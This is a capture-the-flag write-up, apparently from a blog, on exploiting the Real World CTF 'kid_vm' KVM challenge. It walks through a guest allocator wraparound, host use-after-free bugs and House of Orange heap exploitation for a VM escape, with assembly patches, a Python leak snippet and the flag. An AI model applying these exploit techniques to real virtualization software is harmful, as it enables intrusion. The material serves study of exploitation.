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Real World CTF - kid_vm

2019-11-16 06:35
kid_vm is a KVM API based challenge. The provided user space binary uses KVM ioctl calls to setup guest and execute guest code in 16-bit real mode. The binary comes with following mitigations
    RELRO:    Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The guest code is copied to a page allocated using mmap. KVM_SET_USER_MEMORY_REGION call then sets up guest memory with guest physical starting at address 0 and backing memory pointing to the mmap’ed page
       
guest_memory = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (!guest_memory) {
perror("Mmap fail");
return 1;
}

/* copy guest code */
memcpy(guest_memory, guest, sizeof(guest));

region.slot = 0;
region.guest_phys_addr = 0;
region.memory_size = 0x10000;
region.userspace_addr = (uint64_t) guest_memory;

if (ioctl(vm, KVM_SET_USER_MEMORY_REGION, &region) == -1) {
The guest code also sets KVM_GUESTDBG_SINGLESTEP which causes VM exit (KVM_EXIT_DEBUG) on each step. KVM does doesn't seem to notify userspace code on VM exit caused by vmcall. Single stepping looks like a work around to detect vmcall instruction.
        memset(&debug, 0, sizeof(debug));
debug.control = KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_SINGLESTEP;

if (ioctl(vcpu, KVM_SET_GUEST_DEBUG, &debug) < 0) {
perror("Fail");
return 1;
}
The next interesting part of code is the user space VM exit handler
    switch (run->exit_reason) {

case KVM_EXIT_IO:
if (run->io.direction == KVM_EXIT_IO_OUT && run->io.size == 1
&& run->io.port == 23 && run->ex.error_code == 1) {

putchar(*((char *)run + run->io.data_offset));
continue;
}

if (run->io.direction == KVM_EXIT_IO_IN && run->io.size == 1
&& run->io.port == 23 && run->ex.error_code == 1) {

read(0, ((char *)run + run->io.data_offset), 1);
continue;
}

fwrite("Unhandled IOn", 1, 0xD, stderr);
return 1;

case KVM_EXIT_DEBUG:
if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
puts("Error get regs!");

/* check if VMCALL instruction */
if (guest_memory[regs.rip] == 0xF && guest_memory[regs.rip + 1] == 1
&& guest_memory[regs.rip + 2] == 0xC1) {

if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
puts("Error get regs!");

switch (regs.rax) {

case 0x101:
free_memory(regs.rbx, regs.rcx);
break;
case 0x102:
copy_memory(regs.rbx, regs.rcx, regs.rdx, guest_memory);
break;
case 0x100:
alloc_memory(regs.rbx);
break;
default:
puts("Function error!");
break;
}
}
continue;
VM exits caused port I/O ( KVM_EXIT_IO) are handled to read and write data using stdin/stdout. Three interesting hypercalls are implemented on top of KVM_EXIT_DEBUG event.

Host Bugs:

A. The array that manages host allocations and size, can be accessed out of bound by all 3 hypercalls (free_memory, copy_memory, alloc_memory) Below is the code from alloc_memory
     /* index can take the value 16 here when going out of loop */
for (index = 0; index <= 0xF && allocations[index]; ++index);

mem = malloc(size);

if (mem) {
allocations[index] = mem; // out of bounds access
alloca_size[index] = size; // can overwrite allocations[0]
++number_of_allocs;

This bug is less interesting for exploitation, since there is an use-after-free which gives better primitives

B. The hypercall for freeing memory has an option to free a pointer but not clear the reference. However the guest code enables to access only case 3.
        if (index <= 16) {               // out of bound access

switch (choice) {

case 2:
free(allocations[index]);
allocations[index] = 0;
// can be decremented arbitrary number of times
--number_of_allocs;
break;
case 3:
free(allocations[index]);
allocations[index] = 0;
alloca_size[index] = 0;
// can be decremented arbitrary number of times
--number_of_allocs;
break;
case 1:
// double free/UAF as pointer is not set to NULL
free(allocations[index]);
break;
}
}
This UAF can be further exercised in the hypercall to copy memory between guest and host
    if (size <= alloca_size[index]) {
if (choice == 1) {
// write to freed memory due to UAF
memcpy(allocations[index], guest_memory + 0x4000, size);
}
else if (choice == 2) {
// read from uninitialized or freed memory
memcpy(guest_memory + 0x4000, allocations[index], size);
}
}
Guest Bug:

Though the host code has UAF, this bug cannot be triggered using the guest code thats currently under execution. Hence we need to achieve code execution in the guest before trying for a VM escape. The guest code starts at address 0. It initializes the stack pointer to 0x3000
seg000:0000                 mov     sp, 3000h
seg000:0003 call main
seg000:0006 hlt
The guest code to allocate memory in guest looks like below:
seg000:007E                 mov     ax, offset size_value
seg000:0081 mov bx, 2 ; get 2 byte size
seg000:0084 call inb
seg000:0087 mov ax, ds:size_value
seg000:008A cmp ax, 1000h ; check if size < 0x1000
seg000:008D ja short size_big
seg000:008F mov cx, ds:total_bytes
seg000:0093 cmp cx, 0B000h
seg000:0097 ja short guest_mem_full
seg000:0099 mov si, word ptr ds:nalloc
seg000:009D cmp si, 16 ; check the number of allocations made
seg000:00A0 jnb short too_many_allocs
seg000:00A2 mov di, cx
; move beyond stack@0x3000 and host shared_mem@0x4000, but this can wrap
seg000:00A4 add cx, 5000h
seg000:00A8 add si, si
seg000:00AA mov ds:address_array[si], cx ; save address
seg000:00AE mov ds:size_array[si], ax ; save size
seg000:00B2 add di, ax
seg000:00B4 mov ds:total_bytes, di
seg000:00B8 mov al, ds:nalloc
seg000:00BB inc al
seg000:00BD mov ds:nalloc, al

The guest uses the following memory region:
text region  @ 0x0
stack bottom @ 0x3000
shared memory @ 0x4000
heap @ 0x5000 – 0x5000+0xB000
The guest memory allocator starts at address 0x5000 and checks for maximum memory limit allocated being 0xB000. However the check total_bytes + 0x5000 can wrap to 0 during 16-bit addition. This allocation at address 0, allows to overwrite guest code with arbitrary code. Now the vulnerable hypercall paths in host can be triggered from guest.

Exploitation:

I didn’t overwrite the entire guest code, but extended its functionality with the following changes to set bx with user supplied values during vmcall
seg000:0058 _free_memory:                           ; CODE XREF: main+2A↑j
seg000:0058 call get_choice
seg000:005B jmp short loop
seg000:01A3                 call    set_choice
seg000:01A6 mov cl, ds:index ; index
seg000:01AA mov dx, ds:size_value
seg000:01AE vmcall
 
seg000:01DF mov ax, 101h ; free
seg000:01E2 call set_choice
seg000:01E5 mov cl, ds:index
seg000:01E9 vmcall
seg000:0386 choice          dw 0                    ; DATA XREF: get_choice+B↓o
seg000:0386 ; set_choice↓r
seg000:0388
seg000:0388 get_choice      proc near               ; CODE XREF: main:_free_memory↑p
seg000:0388 push ax
seg000:0389 push bx
seg000:038A mov ax, (offset aElcomeToTheVir+0B7h) ;
seg000:038D mov bx, 0Ch
seg000:0390 call outb
seg000:0393 mov ax, offset choice
seg000:0396 mov bx, 1
seg000:0399 call inb
seg000:039C pop bx
seg000:039D pop ax
seg000:039E retn
seg000:039E get_choice endp
seg000:039E
seg000:039F set_choice      proc near               ; CODE XREF: update_host_memory+4C↑p
seg000:039F ; free_host_memory+1F↑p
seg000:039F mov bx, ds:choice
seg000:03A3 retn
seg000:03A3 set_choice endp
Leaking libc and heap pointers:

Since unsorted chunk freelist pointers can be read using UAF, this leaks arena and heap pointers. Allocate 4 chunks, free alternate chunks to prevent coalescing and read the pointers using UAF as below:
for x in range(4):
allocate_host_memory(256)

free_host_memory(0, INVALID_FREE)
free_host_memory(2, VALID_FREE)

copy_memory(256, 0, 'A'*256, COPY_FROM_HOST)
heap_mem = p.recvn(0x1000)
Getting code execution:

House of Orange works for this situation. Create a large chunk and free it, but hold reference to the pointer. Later use this reference to overwrite the top chunk to gain code execution. The flag in rwctf format was WoW_YoU_w1ll_B5_A_FFFutuRe_staR_In_vm_E5c4pe. The exploit for the challenge can be found here

References: Using the KVM API, House of Orange


Source: 3337853718680825214-tsop.4396591884608782393-golb:9991,moc.reggolb:gat

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